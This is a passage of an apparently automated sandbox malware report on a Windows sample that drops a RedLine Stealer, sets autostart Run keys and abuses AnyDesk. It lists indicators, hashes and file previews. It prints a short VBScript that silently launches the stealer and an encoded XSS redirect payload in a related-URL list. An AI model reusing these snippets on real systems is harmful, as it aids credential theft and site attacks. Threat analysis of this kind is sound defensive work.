http://schemas.xmlsoap.org/ws/2005/02/rm/CreateSequenceResponse	gg.exe, 0000000F.00000002.1905680590.000000000324C000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000002F91000.00000004.00000800.00020000.00000000.sdmp	false		high
https://anydesk.com/pricing/teams	AnyDesk.exe, 00000010.00000003.1659830296.0000000003451000.00000004.00000020.00020000.00000000.sdmp, AnyDesk.exe, 00000010.00000003.1667333177.000000000498B000.00000004.00000020.00020000.00000000.sdmp, AnyDesk.exe, 00000013.00000002.3477631483.00000000016E9000.00000002.00000001.01000000.00000009.sdmp	false		high
http://docs.oasis-open.org/wss/oasis-wss-kerberos-token-profile-1.1#GSS_Kerberosv5_AP_REQ1510	gg.exe, 0000000F.00000002.1905680590.00000000032D5000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000003025000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id13Response	gg.exe, 0000000F.00000002.1905680590.000000000324C000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000002F91000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd	gg.exe, 0000000F.00000002.1905680590.00000000032D5000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000003025000.00000004.00000800.00020000.00000000.sdmp	false		high
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-x509-token-profile-1.0#X509SubjectKeyIdentif	gg.exe, 0000000F.00000002.1905680590.00000000032D5000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000003025000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id12ResponseD	gg.exe, 0000000F.00000002.1905680590.00000000035BE000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.00000000032F2000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2004/10/wsat/Committed	gg.exe, 0000000F.00000002.1905680590.00000000032D5000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000003025000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/CK/PSHA1	gg.exe, 0000000F.00000002.1905680590.00000000032D5000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000003025000.00000004.00000800.00020000.00000000.sdmp	false		high
https://anydesk.com/en/assembly/terms	AnyDesk.exe, 00000010.00000003.1659830296.0000000003451000.00000004.00000020.00020000.00000000.sdmp, AnyDesk.exe, 00000013.00000002.3477631483.00000000016E9000.00000002.00000001.01000000.00000009.sdmp, AnyDesk.exe, 00000013.00000003.1678141318.0000000003182000.00000004.00000020.00020000.00000000.sdmp	false		high
http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#ThumbprintSHA1	gg.exe, 0000000F.00000002.1905680590.00000000032D5000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000003025000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/right/possessproperty	gg.exe, 0000000F.00000002.1905680590.000000000324C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.anydesk.com	AnyDesk.exe, 00000013.00000002.3477631483.00000000016E9000.00000002.00000001.01000000.00000009.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/security/sc/sct	gg.exe, 0000000F.00000002.1905680590.00000000032D5000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000003025000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.anydesk.com/knowledge/waiting-for-image-black-screen	AnyDesk.exe	false		high
http://tempuri.org/Entity/Id7ResponseD	gg.exe, 0000000F.00000002.1905680590.00000000032D5000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.00000000032A2000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
64.31.23.30	relay-d7627e96.net.anydesk.com	United States	46475	LIMESTONENETWORKSUS	false
67.203.7.148	unknown	United States	21769	AS-COLOAMUS	true
18.173.219.116	unknown	United States	3	MIT-GATEWAYSUS	false
37.59.29.33	boot.net.anydesk.com	France	16276	OVHFR	false

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1402122
Start date and time:	2024-03-03 13:42:12 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 11m 1s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Run name:	Run with higher sleep bypass
Number of analysed new started processes analysed:	27
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	SysrI6zSkJ.exe renamed because original name is a hash value
Original Sample Name:	2e501240ec8b9aab46d76a6504e44882.exe
Detection:	MAL
Classification:	mal76.troj.spyw.evad.winEXE@39/13@3/4
EGA Information:	Successful, ratio: 62.5%
HCA Information:	Successful, ratio: 63% Number of executed functions: 220 Number of non-executed functions: 151
Cookbook Comments:	Found application associated with file extension: .exe Sleeps bigger than 100000000ms are automatically reduced to 1000ms

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target AnyDesk.exe, PID 8116 because there are no executed function
Execution Graph export aborted for target SysrI6zSkJ.exe, PID 7432 because it is empty
Execution Graph export aborted for target embedded.exe, PID 7592 because it is empty
HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
VT rate limit hit for: SysrI6zSkJ.exe

Simulations

Behavior and APIs

Time	Type	Description
12:42:59	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run Repository C:\ProgramData\WinNet\gg.exe
12:43:13	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run Repository C:\ProgramData\WinNet\gg.exe
13:43:34	API Interceptor	61x Sleep call for process: AnyDesk.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
64.31.23.30	LiveChat.exe	Get hash	malicious	Unknown	Browse
	AnyDesk.exe	Get hash	malicious	Unknown	Browse
	loligang.x86	Get hash	malicious	Mirai	Browse
67.203.7.148	Ihlya7zz0r.exe	Get hash	malicious	RedLine	Browse
18.173.219.116	https://www.pdfforge.org/pdfcreator/download	Get hash	malicious	Unknown	Browse
37.59.29.33	anydesk.exe	Get hash	malicious	Unknown	Browse
	AnyDesk.exe	Get hash	malicious	Unknown	Browse
	AnyDesk.exe	Get hash	malicious	Unknown	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
boot.net.anydesk.com	AnyDesk.exe	Get hash	malicious	Unknown	Browse	141.95.145.210
	AnyDesk.exe	Get hash	malicious	Unknown	Browse	92.223.88.232
	http://sub.nabprotect-livechat.com/	Get hash	malicious	Unknown	Browse	185.229.191.39
	https://download.anydesk.com/AnyDesk.exe	Get hash	malicious	Unknown	Browse	141.95.145.210
	https://download.anydesk.com/AnyDesk.exe	Get hash	malicious	Unknown	Browse	57.128.101.74
	https://nab-support.com/LiveChat.exe	Get hash	malicious	Unknown	Browse	185.229.191.44
	https://bendigo-desk.com/	Get hash	malicious	Unknown	Browse	49.12.130.236
	https://bendigo-desk.com/	Get hash	malicious	Unknown	Browse	92.223.88.232
	Project.lnk	Get hash	malicious	Unknown	Browse	57.128.101.78
d1atxff5avezsq.cloudfront.net	https://download.anydesk.com/AnyDesk.exe	Get hash	malicious	Unknown	Browse	13.33.82.105
	https://download.anydesk.com/AnyDesk.exe	Get hash	malicious	Unknown	Browse	13.33.82.26
	https://nab-support.com/LiveChat.exe	Get hash	malicious	Unknown	Browse	13.224.14.115
	https://bendigo-desk.com/	Get hash	malicious	Unknown	Browse	18.154.144.27
	Project.lnk	Get hash	malicious	Unknown	Browse	18.238.192.9
	https://download.anydesk.com/AnyDesk.exe	Get hash	malicious	Unknown	Browse	3.161.136.116
	LiveChat.exe	Get hash	malicious	Unknown	Browse	13.224.214.128
	LiveChat.exe	Get hash	malicious	Unknown	Browse	13.224.214.48
	https://bnz-portal.com/	Get hash	malicious	Unknown	Browse	99.84.160.61
relay-d7627e96.net.anydesk.com	LiveChat.exe	Get hash	malicious	Unknown	Browse	64.31.23.30
relay-d7627e96.net.anydesk.com	AnyDesk.exe	Get hash	malicious	Unknown	Browse	64.31.23.30

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
AS-COLOAMUS	Ihlya7zz0r.exe	Get hash	malicious	RedLine	Browse	67.203.7.148
	NEW ORDER.pif.exe	Get hash	malicious	PureLog Stealer	Browse	67.207.161.253
	GGBz0FS1z4.elf	Get hash	malicious	Unknown	Browse	185.195.214.9
	bT5nWJkvh0.elf	Get hash	malicious	Unknown	Browse	67.227.21.224
	lEcx2N6LTK.elf	Get hash	malicious	Mirai	Browse	67.203.3.32
	Bdk58TYebF.elf	Get hash	malicious	Mirai	Browse	67.203.3.34
	ZhhHfkNewm.elf	Get hash	malicious	Mirai	Browse	162.223.197.223
	jklarm.elf	Get hash	malicious	Mirai	Browse	67.203.3.46
	oZasOwbAre.elf	Get hash	malicious	Mirai	Browse	185.195.214.9
LIMESTONENETWORKSUS	SecuriteInfo.com.Program.Unwanted.5176.1954.19726.exe	Get hash	malicious	HawkEye, PureLog Stealer, Xmrig	Browse	64.31.10.46
	SecuriteInfo.com.Program.Unwanted.5176.1954.19726.exe	Get hash	malicious	HawkEye, Gocoder, PureLog Stealer, Xmrig	Browse	64.31.10.46
	D7iI17d3sE.elf	Get hash	malicious	Mirai, Moobot	Browse	64.31.53.155
	thDGuavXoD.elf	Get hash	malicious	Mirai	Browse	192.169.92.236
	http://cdn1.filmnewscd.xyz	Get hash	malicious	HTMLPhisher	Browse	64.31.37.217
	ZDKv0w0UwA.elf	Get hash	malicious	Unknown	Browse	69.162.86.89
	https://k-e-v.no/?s=%22%2F%3C%2Fscript%3E%3Cscript%3Ewindow%5B%27location%27%5D%5B%27replace%27%5D%28%5B%27h%27%2C%27t%27%2C%27t%27%2C%27p%27%2C%27s%27%2C%27%3A%27%2C%27%2F%27%2C%27%2F%27%2C%27w%27%2C%27w%27%2C%27w%27%2C%27.%27%2C%27w%27%2C%27h%27%2C%27t%27%2C%27e%27%2C%27n%27%2C%27v%27%2C%27l%27%2C%27p%27%2C%27e%27%2C%27.%27%2C%27c%27%2C%27o%27%2C%27m%27%2C%27%2F%27%2C%27a%27%2C%27c%27%2C%27T%27%2C%27c%27%2C%27l%27%2C%272%27%2C%27k%27%2C%27T%27%2C%27m%27%2C%27P%27%2C%27S%27%2C%27J%27%2C%27i%27%2C%27_%27%2C%27L%27%2C%27d%27%2C%27_%27%2C%27m%27%2C%27h%27%2C%27p%27%2C%27L%27%2C%27w%27%2C%27y%27%2C%27Z%27%2C%27e%27%2C%27d%27%2C%27s%27%2C%27u%27%2C%27P%27%2C%27V%27%2C%27d%27%2C%275%27%2C%275%27%2C%27q%27%2C%27f%27%2C%27t%27%2C%27s%27%2C%272%27%2C%27r%27%2C%27Y%27%2C%27e%27%2C%27_%27%2C%27S%27%2C%27b%27%2C%27Q%27%2C%27X%27%2C%271%27%2C%27b%27%2C%27Z%27%2C%27F%27%2C%27Q%27%2C%27T%27%2C%27N%27%2C%27z%27%2C%27T%27%2C%271%27%2C%27A%27%2C%27s%27%2C%27c%27%2C%27d%27%2C%27I%27%2C%27I%27%2C%27X%27%2C%27G%27%2C%27w%27%2C%27i%27%2C%27c%27%2C%27D%27%2C%27t%27%2C%27e%27%2C%27y%27%2C%27V%27%2C%27V%27%2C%278%27%2C%27v%27%2C%27Z%27%2C%27E%27%2C%27f%27%2C%27f%27%2C%27Y%27%2C%27C%27%2C%27e%27%2C%27o%27%2C%27Y%27%2C%27X%27%2C%27g%27%2C%27~%27%2C%27~%27%5D%5B%27join%27%5D%28%27%27%29%29%2Cdocument%5B%27body%27%5D%5B%27style%27%5D%5B%27opacity%27%5D%3D0x0%3B%3C%2Fscript%3E	Get hash	malicious	Unknown	Browse	208.115.232.150
	http://discord.cc/meuserdd8	Get hash	malicious	Unknown	Browse	74.63.219.251
	http://discord.cc/meuserdd8	Get hash	malicious	Unknown	Browse	74.63.219.251
OVHFR	WkjYJEadMJ.elf	Get hash	malicious	Mirai	Browse	91.121.106.146
	SecuriteInfo.com.Trojan.Siggen19.3578.9894.26344.exe	Get hash	malicious	Unknown	Browse	37.187.183.86
	SecuriteInfo.com.Trojan.Siggen19.3578.9894.26344.exe	Get hash	malicious	Unknown	Browse	37.187.183.86
	https://aolserv.pages.dev/robots.txtIP:	Get hash	malicious	HTMLPhisher	Browse	51.222.239.230
	m5EyzJ7S8S.exe	Get hash	malicious	Amadey, Glupteba, LummaC Stealer, Mars Stealer, SmokeLoader, Stealc, Vidar	Browse	217.182.75.0
	PC-101-105.exe	Get hash	malicious	Remcos	Browse	51.77.222.4
	SecuriteInfo.com.MacOS.ReverseShell-C.30585.8425.exe	Get hash	malicious	Python Stealer, Discord Token Stealer	Browse	151.80.29.83
	H085INliC6.elf	Get hash	malicious	Gafgyt, Mirai	Browse	192.99.130.89
	6l1kqDkxR2.elf	Get hash	malicious	Moobot	Browse	192.95.24.242
	SRtnwytcHZ.elf	Get hash	malicious	Mirai, Moobot	Browse	92.222.205.170
MIT-GATEWAYSUS	ktMLmEUY2l.elf	Get hash	malicious	Mirai	Browse	18.93.162.120
	WkjYJEadMJ.elf	Get hash	malicious	Mirai	Browse	19.79.228.234
	nL4rzMSCVd.elf	Get hash	malicious	Mirai	Browse	19.225.129.158
	https://manual-restore.pages.dev/IP:	Get hash	malicious	Unknown	Browse	18.164.96.69
	http://hip-foul-face.glitch.me/makslfqwlw38laii.htmlIP:	Get hash	malicious	Unknown	Browse	18.173.219.74
	https://aolserv.pages.dev/robots.txtIP:	Get hash	malicious	HTMLPhisher	Browse	18.164.96.113
	http://www.hkemploymentlaw.com/	Get hash	malicious	Unknown	Browse	18.164.116.70
	SecuriteInfo.com.MacOS.ReverseShell-C.30585.8425.exe	Get hash	malicious	Python Stealer, Discord Token Stealer	Browse	18.164.96.22
	JiD2VwpPLD.elf	Get hash	malicious	Mirai	Browse	19.66.42.224

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
c91bde19008eefabce276152ccd51457	AnyDesk.exe	Get hash	malicious	Unknown	Browse	37.59.29.33 64.31.23.30
	AnyDesk.exe	Get hash	malicious	Unknown	Browse	37.59.29.33 64.31.23.30
	http://sub.nabprotect-livechat.com/	Get hash	malicious	Unknown	Browse	37.59.29.33 64.31.23.30
	https://download.anydesk.com/AnyDesk.exe	Get hash	malicious	Unknown	Browse	37.59.29.33 64.31.23.30
	https://download.anydesk.com/AnyDesk.exe	Get hash	malicious	Unknown	Browse	37.59.29.33 64.31.23.30
	https://nab-support.com/LiveChat.exe	Get hash	malicious	Unknown	Browse	37.59.29.33 64.31.23.30
	https://bendigo-desk.com/	Get hash	malicious	Unknown	Browse	37.59.29.33 64.31.23.30
	https://bendigo-desk.com/	Get hash	malicious	Unknown	Browse	37.59.29.33 64.31.23.30
	Project.lnk	Get hash	malicious	Unknown	Browse	37.59.29.33 64.31.23.30

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\WinNet\gcapi.dll	https://download.anydesk.com/AnyDesk.exe	Get hash	malicious	Unknown	Browse
	https://nab-support.com/LiveChat.exe	Get hash	malicious	Unknown	Browse
	Project.lnk	Get hash	malicious	Unknown	Browse
	LiveChat.exe	Get hash	malicious	Unknown	Browse
	LiveChat.exe	Get hash	malicious	Unknown	Browse
	AnyDesk.exe	Get hash	malicious	Unknown	Browse
	AnyDesk.exe	Get hash	malicious	Unknown	Browse
	anydesk.exe	Get hash	malicious	Unknown	Browse
	anydesk.exe	Get hash	malicious	Unknown	Browse

Created / dropped Files

C:\ProgramData\WinNet\AnyDesk.exe

Download File

Process:	C:\ProgramData\WinNet\embedded.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	5216584
Entropy (8bit):	7.999460832435841
Encrypted:	true
SSDEEP:	98304:NzTZ3cINQscs0m++LNkT6OpwDGUUH57yvZ/49Mr8EO3QhA9Kq:Nzt3cINQscNmvLCwDkHEvZ/4R79x
MD5:	A21768190F3B9FEAE33AAEF660CB7A83
SHA1:	24780657328783EF50AE0964B23288E68841A421
SHA-256:	55E4CE3FE726043070ECD7DE5A74B2459EA8BED19EF2A36CE7884B2AB0863047
SHA-512:	CA6DA822072CB0D3797221E578780B19C8953E4207729A002A64A00CED134059C0ED21B02572C43924E4BA3930C0E88CD2CDB309259E3D0DCFB0C282F1832D62
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........Q.hU0.;U0.;U0.;:F#;V0.;:F";]0.;:F.;T0.;:F.;T0.;RichU0.;................PE..L....E.e.........."..........O...#.S6.......@....@..........................ps.......O...@...........................................s.PH...........HO.HQ...`s......0$..............................................................................text...w(......................... ..`.itext....#..@...........................rdata.......0$.....................@..@.data.....N..@$...N..2..............@....rsrc...PH....s..J....N.............@..@.reloc.......`s......DO.............@..B........................................................................................................................................................................................................................................................................................................................

C:\ProgramData\WinNet\embedded.exe

Download File

Process:	C:\Users\user\Desktop\SysrI6zSkJ.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	12371456
Entropy (8bit):	6.778870362417023
Encrypted:	false
SSDEEP:	98304:kj1ZAxOCU3yUetDvB6ti3FOU8jRdqY9d2omTt20+NIZ:YAxOCU3yUetDvB6ti1aOTtlcIZ
MD5:	DB408CB75C1D0DA769C19A6CBBE60D87
SHA1:	76C93E7B38C9B1E17A3506B7527B3EFC4BAF76F5
SHA-256:	703D8767AEBE2DAEEA5525DA247CE23775F542C0621DF75CE436B95AAF21CE26
SHA-512:	8887125B1DE8969C8FFF3D601553400FA1DFE91E042DF7FB56A9074472839226E2B08289C70E2DA31C813CB8A1DEE59950B3DBDE9812131228A035525E652D84
Malicious:	true
Yara Hits:	Rule: JoeSecurity_EXEembeddedinBATfile, Description: Yara detected EXE embedded in BAT file, Source: C:\ProgramData\WinNet\embedded.exe, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 58%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......a(J(%I${%I${%I${.9'z=I${.9!z.I${C&.{,I${w<!zvI${w< z6I${w<'z)I${.9 z.I${.9%z>I${%I%{)H${%I${AM${.<$z$I${.<.{$I${.<&z$I${Rich%I${........PE..d......e..........".......)..........4&........@.....................................y....`...........................................9..&....:......p<.......;..G............=......9.T.....................9.(...p.9.8.............)..............................text...4.).......)................. ..`.rdata...P....)..R....).............@..@.data........@:..B...&:.............@....pdata...G....;..H...h:.............@..@_RDATA.......`<.......;.............@..@.rsrc........p<.......;.............@..@.reloc.......=.......<.............@..Bsnapshot.d...0>..f...`=.........................................................................................................................................................................

C:\ProgramData\WinNet\gcapi.dll

Download File

Process:	C:\ProgramData\WinNet\AnyDesk.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	394240
Entropy (8bit):	6.700175464943679
Encrypted:	false
SSDEEP:	6144:Tv/ioKdMF+LZD/ZRj1vwWrrUFMNoz4pFGxjEB1NYAOrabN2GZvFcD7:Td+LZrNwWrrwMNoz4vG1OYZabtK7
MD5:	1CE7D5A1566C8C449D0F6772A8C27900
SHA1:	60854185F6338E1BFC7497FD41AA44C5C00D8F85
SHA-256:	73170761D6776C0DEBACFBBC61B6988CB8270A20174BF5C049768A264BB8FFAF
SHA-512:	7E3411BE8614170AE91DB1626C452997DC6DB663D79130872A124AF982EE1D457CEFBA00ABD7F5269ADCE3052403BE31238AECC3934C7379D224CB792D519753
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: , Detection: malicious, Browse Filename: , Detection: malicious, Browse Filename: Project.lnk, Detection: malicious, Browse Filename: LiveChat.exe, Detection: malicious, Browse Filename: LiveChat.exe, Detection: malicious, Browse Filename: AnyDesk.exe, Detection: malicious, Browse Filename: AnyDesk.exe, Detection: malicious, Browse Filename: anydesk.exe, Detection: malicious, Browse Filename: anydesk.exe, Detection: malicious, Browse
Preview:	MZ......................@...................................8...........!..L.!This program cannot be run in DOS mode....$........q.hB..;B..;B..;.I.:@..;...;W..;...;...;...;b..;.#;@..;!M.:U..;!M.:c..;!M.:u..;...;@..;,M.:...;...;Y..;B..;~..;,M.:e..;,M.:C..;,M.;C..;B.s;C..;,M.:C..;RichB..;........................PE..L......W.........."!................:.....................................................@.........................p................0.......................@..h2......8...........................p...@.......................@....................text...y........................... ..`.rdata...-..........................@..@.data...H5..........................@....gfids..(...........................@..@.tls......... ......................@....rsrc........0......................@..@.reloc..h2...@...4..................@..B................................................................................................................................................................

C:\ProgramData\WinNet\gg.exe

Download File

Process:	C:\Users\user\Desktop\SysrI6zSkJ.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	304128
Entropy (8bit):	5.030148501932413
Encrypted:	false
SSDEEP:	3072:lqFFrqwIOGEzyJNmWb7cGaXSf0vdSP/HqlYuJTZFfuIMcZqf7D34teqiOLCbBOj:sBIOGFiifzHqlpJTZhWcZqf7DIXL
MD5:	20AB063F206EB8115FDE1479E05C245E
SHA1:	2088F3C51A5AD9E11DA999A7114623274CC69692
SHA-256:	5EC4818DA47F24AC8762BF73D0395662639142F86B930DB138E586C2EB91B29E
SHA-512:	2DC3181D57EE616C1BB5860D0007D06C04BA1A693064FE7044D9F07939E99E54E8B2864EBBB7268118784A691037DAD6756532BD149C74AEEDC993D0D0E4A0C5
Malicious:	true
Yara Hits:	Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: C:\ProgramData\WinNet\gg.exe, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 71%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....................0................. ........@.. ....................................@.................................\|...O...................................`................................................ ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\WinNet\p.vbs

Download File

Process:	C:\Users\user\Desktop\SysrI6zSkJ.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	170
Entropy (8bit):	4.9082518346015584
Encrypted:	false
SSDEEP:	3:Zy0c74Wuj0c74Wm+m8nmKGc74WDQIUqF4R51GREfL4lDFnqJXRPc74WmTC:Zdc74Wpc74WCqXGc74WD/Uq88RqTPc7P
MD5:	3BA4CEBB444685D48F8B0DFD67C8390D
SHA1:	8B84E1821C39EC8658E603E498B07E08DDA2E6D1
SHA-256:	7F2BB84F63B47F35EE7EB70A35D35B81B63A7BCD39029CFB918FB6839F45A70C
SHA-512:	42B8271CD6343F7D75F4D5398370ED7D614C2250EA43531A9F19E80E5F0A339F6CC5EC565326CC6911B33BF872CEF9B860D72D8887573D92D5C7661C580A232E
Malicious:	true
Preview:	Dim WinScriptHost.Set WinScriptHost = CreateObject("WScript.Shell").WinScriptHost.Run Chr(34) & "C:\\ProgramData\\WinNet\\gg.exe" & Chr(34), 0.Set WinScriptHost = Nothing

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\gg.exe.log

Download File

Process:	C:\ProgramData\WinNet\gg.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	3094
Entropy (8bit):	5.33145931749415
Encrypted:	false
SSDEEP:	96:Pq5qHwCYqh3oPtI6eqzxP0aymTqdqlq7qqjqcEZ5D:Pq5qHwCYqh3qtI6eqzxP0atTqdqlq7qV
MD5:	3FD5C0634443FB2EF2796B9636159CB6
SHA1:	366DDE94AEFCFFFAB8E03AD8B448E05D7489EB48
SHA-256:	58307E94C67E2348F5A838DE4FF668983B38B7E9A3B1D61535D3A392814A57D6
SHA-512:	8535E7C0777C6B0876936D84BDE2BDC59963CF0954D4E50D65808E6E806E8B131DF5DB8FA0E030FAE2702143A7C3A70698A2B9A80519C9E2FFC286A71F0B797C
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02

C:\Users\user\AppData\Local\Temp\gcapi.dll

Download File

Process:	C:\ProgramData\WinNet\AnyDesk.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	394240
Entropy (8bit):	6.700175464943679
Encrypted:	false
SSDEEP:	6144:Tv/ioKdMF+LZD/ZRj1vwWrrUFMNoz4pFGxjEB1NYAOrabN2GZvFcD7:Td+LZrNwWrrwMNoz4vG1OYZabtK7
MD5:	1CE7D5A1566C8C449D0F6772A8C27900
SHA1:	60854185F6338E1BFC7497FD41AA44C5C00D8F85
SHA-256:	73170761D6776C0DEBACFBBC61B6988CB8270A20174BF5C049768A264BB8FFAF
SHA-512:	7E3411BE8614170AE91DB1626C452997DC6DB663D79130872A124AF982EE1D457CEFBA00ABD7F5269ADCE3052403BE31238AECC3934C7379D224CB792D519753
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...................................8...........!..L.!This program cannot be run in DOS mode....$........q.hB..;B..;B..;.I.:@..;...;W..;...;...;...;b..;.#;@..;!M.:U..;!M.:c..;!M.:u..;...;@..;,M.:...;...;Y..;B..;~..;,M.:e..;,M.:C..;,M.;C..;B.s;C..;,M.:C..;RichB..;........................PE..L......W.........."!................:.....................................................@.........................p................0.......................@..h2......8...........................p...@.......................@....................text...y........................... ..`.rdata...-..........................@..@.data...H5..........................@....gfids..(...........................@..@.tls......... ......................@....rsrc........0......................@..@.reloc..h2...@...4..................@..B................................................................................................................................................................

C:\Users\user\AppData\Roaming\AnyDesk\ad.trace

Download File

Process:	C:\ProgramData\WinNet\AnyDesk.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	30357
Entropy (8bit):	4.377593110411535
Encrypted:	false
SSDEEP:	384:y2dnhaUtbBRvqrvoTIxmynjj2si8sxN5NiX2naN:PnhaUtbUjHcxDy
MD5:	01F495715B1137F749C46922F30423DD
SHA1:	17DB2DB4F786A484BC4D8B0855555467210CEC53
SHA-256:	47D98EC2A9EF7F6EC099C725DD430E24C6639822ACA4D51D7F99BA72C2FAC6A9
SHA-512:	6CDA20976A166A05D718582C9426D3D6CA8C8EC9CCB4FECF27754280F94871B46CACF553FC856C3618F2C0372B318B0E15F6294998D1265B780C7A02010996A5
Malicious:	false
